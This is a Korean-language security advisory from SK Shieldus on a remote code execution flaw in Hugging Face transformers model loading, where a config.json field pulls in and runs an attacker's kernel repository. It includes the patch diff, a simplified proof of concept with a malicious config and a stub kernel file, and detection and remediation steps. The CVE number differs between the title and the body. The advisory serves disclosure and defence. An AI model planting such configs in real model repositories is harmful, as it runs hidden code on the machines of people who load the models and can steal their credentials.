SK쉴더스 로고
ADT캡스캡스홈
SK쉴더스

Hugging Face transformers 모델 로딩 원격 코드 실행 취약점 (CVE-2026-4327)

EQST Now | 2026.06.09

NOW Briefing

Brief 1 HuggingFace Transformers에서 모델 설정 파일만으로 인증 없이 원격 코드를 실행할 수 있는 취약점(CVE-2026-4372)이 공개됐습니다.
Brief 2 이 취약점은 모델·데이터셋에 포함된 커스텀 코드의 자동 실행을 막는 Hugging Face 기본 안전장치 trust_remote_code=False를 우회합니다. 즉 사용자가 안전 설정을 유지해도 악성 코드가 실행될 수 있습니다.
Brief 3 즉시 v5.3.0 이상으로 업그레이드하고, 캐시된 config.json_attn_implementation_internal 필드가 있는지 점검해야 합니다.

Hugging Face transformers 모델 로딩 원격 코드 실행 취약점 (CVE-2026-4327)

■ 개요

HuggingFace Transformers는 PyPI 기준 누적 22억 회 이상 설치된 대표적인 AI 모델 로딩 라이브러리입니다. 이번 CVE-2026-4372는 v4.56.0부터 v5.2.x까지의 버전 중 kernels 패키지가 함께 설치된 환경에서 성립하는 취약점입니다. Pluto Security 분석에 따르면 약 187일의 노출 기간 동안 취약 버전이 약 2억 3,200만 회 다운로드됐고, 주간 약 1,370만 회 규모의 신규 설치가 이어졌습니다. 이에 따라 외부 모델을 받아 추론·파인튜닝하는 거의 모든 AI 워크플로가 영향권에 들어갑니다.

Hugging Face transformers로 모델을 불러올 때, 라이브러리는 모델 저장소에 들어 있는 설정 파일 config.json을 읽어 그 값들을 모델 설정 객체에 적용합니다. 문제는 이 과정이 모든 필드를 검증 없이 그대로 객체 속성에 복사(setattr 반복)한다는 점입니다. 그래서 config.json 안의 내부 필드 _attn_implementation_internal(어텐션 구현 지정용)에 공격자가 자신이 통제하는 HuggingFace 저장소 경로를 심을 수 있습니다. 개발자가 모델을 로드하는 표준 함수 AutoModelForCausalLM.from_pretrained()를 호출하는 순간, 그 저장소의 Python 코드가 자동으로 내려받아져 실행됩니다. 사용자가 trust_remote_code=False로 막아둬도 이 경로는 차단되지 않으며, 인증도 추가 조작도 없이 호스트 OS 권한으로 임의 코드가 실행됩니다.

이처럼 모델 설정만으로 코드 실행 경로가 열리는 문제에 대해 패치는 2026년 3월 4일 v5.3.0에 별도 보안 공지 없이 포함됐고, 6월 4일 Pluto Security가 PoC와 함께 전체 공개했습니다. 공개 시점 기준 실제 환경 악용 보고는 확인되지 않은 상태이지만, PoC 코드가 이미 공개됐고 AI 공급망 특성상 오염된 모델 하나가 광범위하게 확산될 가능성이 있습니다. 사내 ML 파이프라인이 외부 모델을 다운로드해 사용하는 경우, 점검 우선순위를 최상위로 끌어올려야 합니다.

■ 요약

항목 내용
CVE ID CVE-2026-4372(HuggingFace Transformers Config Injection RCE)
CVSS 점수 CVSS v3.0 7.8 / HIGH(AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
취약점 유형 CWE-502 신뢰할 수 없는 데이터 역직렬화, CWE-1066 직렬화 제어 요소 누락
영향/위험 - 모델 로딩만으로 임의 Python 코드 실행
- trust_remote_code=False 안전장치 우회
- 자격 증명·SSH 키·환경변수 등 로컬 비밀값 탈취 가능
- AI 추론·학습 파이프라인 전체 침해 가능
취약 버전 transformers v4.56.0 ~ v5.2.x(kernels 패키지 함께 설치된 환경)
패치 버전 transformers v5.3.0(2026-03-04 출시)

■ 기술 분석

취약점은 configuration_utils.pyPretrainedConfig 초기화 단계에서 발생합니다. 사용자가 모델을 로딩하면 라이브러리는 config.json의 모든 키-값 쌍을 setattr로 객체 속성에 그대로 주입하는데, 이 루프는 언더스코어로 시작하는 내부 전용 속성마저 구분하지 않고 모두 허용합니다. 이로 인해 외부 JSON 한 줄만으로 객체 내부 상태를 임의 조작할 수 있는 통로가 열립니다.

이렇게 주입된 내부 속성 중 공격자가 노리는 속성은 _attn_implementation_internal입니다. 이 값은 후속 단계에서 어텐션 커널 구현체를 선택하는 데 쓰이고, kernels 패키지의 로더가 owner/repo 형식의 문자열을 그대로 받아 importlib로 임포트합니다. 입력 검증과 샌드박싱이 없어 공격자 저장소의 Python 코드가 모델 로딩 중 그대로 실행됩니다. trust_remote_code 플래그는 사용자가 명시적으로 호출하는 커스텀 모델링 코드만 검사하므로 이 경로는 통과합니다.

이 경로를 차단하기 위해 v5.3.0 패치는 동일한 setattr 루프에 차단 목록을 추가해 _attn_implementation_internal_experts_implementation_internal 두 키가 역직렬화 단계에서 설정되지 않도록 막습니다. 추가로 커널 로딩 시 공식 kernels-community 외 저장소를 사용하려면 trust_remote_code=True가 필요하도록 정책을 강화했습니다.

# configuration_utils.py - PretrainedConfig.__init__()

/* [패치 전] */
for key, value in kwargs.items():
    try:
        setattr(self, key, value)
    except AttributeError as err:
        logger.error(f"Can't set {key} with value {value} for {self}")
        raise err

/* [패치 후] */
for key, value in kwargs.items():
    # Check this to avoid deserializing problematic fields from hub
    # configs - they should use the public field
    if key not in ("_attn_implementation_internal",
                   "_experts_implementation_internal"):
        try:
            setattr(self, key, value)
        except AttributeError as err:
            logger.error(f"Can't set {key} with value {value} for {self}")
            raise err

📌 NOTE

패치는 v5.3.0 출시 노트에 별도 보안 공지 없이 포함됐고, 전체 공개 전 약 3개월 동안 취약점은 알려지지 않은 채로 남아 있었습니다. 그 기간 동안 취약 버전이 광범위하게 신규 설치됐으므로, 최신 버전 업그레이드에 더해 캐시와 설치 이력까지 함께 점검해야 합니다.

■ PoC

위 동작은 두 가지 파일을 조합하는 방식으로 재현됩니다. 첫 번째는 악성 필드를 포함한 모델 저장소의 config.json이고, 두 번째는 공격자가 통제하는 커널 저장소의 __init__.py입니다. 피해자는 평소처럼 from_pretrained()를 호출하지만, 라이브러리 내부에서 두 산출물이 자동으로 연결되며 외부 Python 코드가 즉시 실행됩니다.

{
  "model_type": "llama",
  "architectures": ["LlamaForCausalLM"],
  "_attn_implementation_internal": "attacker-org/malicious-kernel"
}
# attacker-org/malicious-kernel/__init__.py
# transformers 커널 로더가 importlib 로 이 패키지를 import 하는 순간,
# 아래 '최상위(top-level) 코드'가 그대로 실행된다.

print("[*] import 시점에 실행됨")   # 실제로는 여기서 자격증명·환경변수 수집 후 외부 전송 (생략)

# from_pretrained() 이 기대하는 어텐션 심볼이 없으면 모델 로딩이 실패하므로,
# 공격자는 정상처럼 보이도록 더미 어텐션 함수를 함께 둔다.
def flash_attention_forward(*args, **kwargs):
    ...   # 모델 로딩만 통과시키는 스텁 (실구현 없음)

피해자가 실제로 실행하는 것은 평소와 동일한 모델 로딩 한 줄뿐입니다.

# 피해자 측 - 평소와 똑같은 한 줄
from transformers import AutoModelForCausalLM
AutoModelForCausalLM.from_pretrained("attacker-org/evil-model")
# → config.json 로딩 → _attn_implementation_internal 가 커널 로더로 전달 →
#   attacker-org/malicious-kernel 가 import 되며 위 __init__.py 의 최상위 코드 실행

⚠️ WARN

이 코드는 실제 익스플로잇이 아니라 공개 PoC의 검증 관점을 방어적으로 단순화한 예시입니다. 신뢰 경계가 어디서 무너지는지 확인하는 용도이며, 운영 환경에서 재현을 시도해서는 안 됩니다.

■ 탐지 및 점검

• 이 경로의 성립 여부를 확인하려면 먼저 사내 PyPI 미러·CI 캐시·개발자 워크스테이션에 설치된 transformers 패키지 버전을 pip show transformers로 확인하고, v4.56.0 이상 v5.3.0 미만이라면 영향 범위로 분류합니다.

kernels 패키지가 함께 설치되어 있는지 pip show kernels로 점검합니다. 두 패키지가 동시에 설치된 환경에서만 익스플로잇이 성립합니다.

• 모델 캐시 디렉터리(기본값 ~/.cache/huggingface/hub/) 하위 config.json 파일에서 _attn_implementation_internal 또는 _experts_implementation_internal 키가 존재하는지 전수 검색해야 합니다.

• 모델 로딩이 일어나는 호스트의 아웃바운드 트래픽 로그에서 모델 다운로드 외 비정상적인 외부 통신(자격 증명 탈취 시도, 알려지지 않은 도메인으로의 HTTP 호출)이 있었는지 살핍니다.

• 사내 모델 등록부·MLOps 카탈로그에 등록된 외부 출처 모델을 식별하고, 공개 시점 이전에 다운로드된 모델도 동일하게 의심 대상으로 재검토하는 것이 안전합니다.

■ 대응 방안

• 점검 결과 영향 범위로 확인된 환경에서는 transformers를 v5.3.0 이상으로 업그레이드하고, kernels 패키지도 최신 버전으로 함께 갱신해 강화된 신뢰 정책을 적용받습니다.

• 즉시 업그레이드가 어려운 환경에서는 kernels 패키지를 제거하거나, 모델 로딩 코드에서 kernels 의존 경로가 호출되지 않도록 임시로 우회합니다.

• 영향 기간 동안 모델 로딩이 일어난 호스트의 AWS·SSH·환경변수 기반 자격 증명은 침해 가능성을 가정하고 회수·재발급합니다.

• 사내 모델 게이트웨이를 도입해 외부 모델 다운로드를 차단하고, 검증된 미러나 공식 kernels-community 같은 신뢰 조직만 허용하는 정책을 도입합니다.

• 캐시된 config.json_attn_implementation_internal 필드가 포함된 모델은 모두 격리·삭제하고, 해당 모델을 사용한 추론·학습 결과의 후속 영향을 함께 검토합니다.

💡 TIP

패치 적용만으로는 이미 다운로드되어 캐시에 남아 있는 악성 config.json이 사라지지 않습니다. 캐시 디렉터리와 사내 모델 레지스트리를 함께 점검해야 공급망 차원의 위험을 줄일 수 있습니다.

[참고 자료]

Pluto Security, Unauthenticated Remote Code Execution in HuggingFace Transformers via Config Injection

NVD, CVE-2026-4372

HuggingFace Transformers PR #44395, Patch Diff

CSO Online, Hugging Face Transformers RCE flaw enables stealthy compromise via AI model configs

  • #EQST_NOW
  • #취약점

관련 서비스

더 많은 보안 인사이트

SK쉴더스 유튜브 채널에서 확인하세요.

SK쉴더스 유튜브 채널에서 확인하세요.
보안 트렌드와 대응방법

매월 뉴스레터로 확인하세요.

매월 뉴스레터로 확인하세요.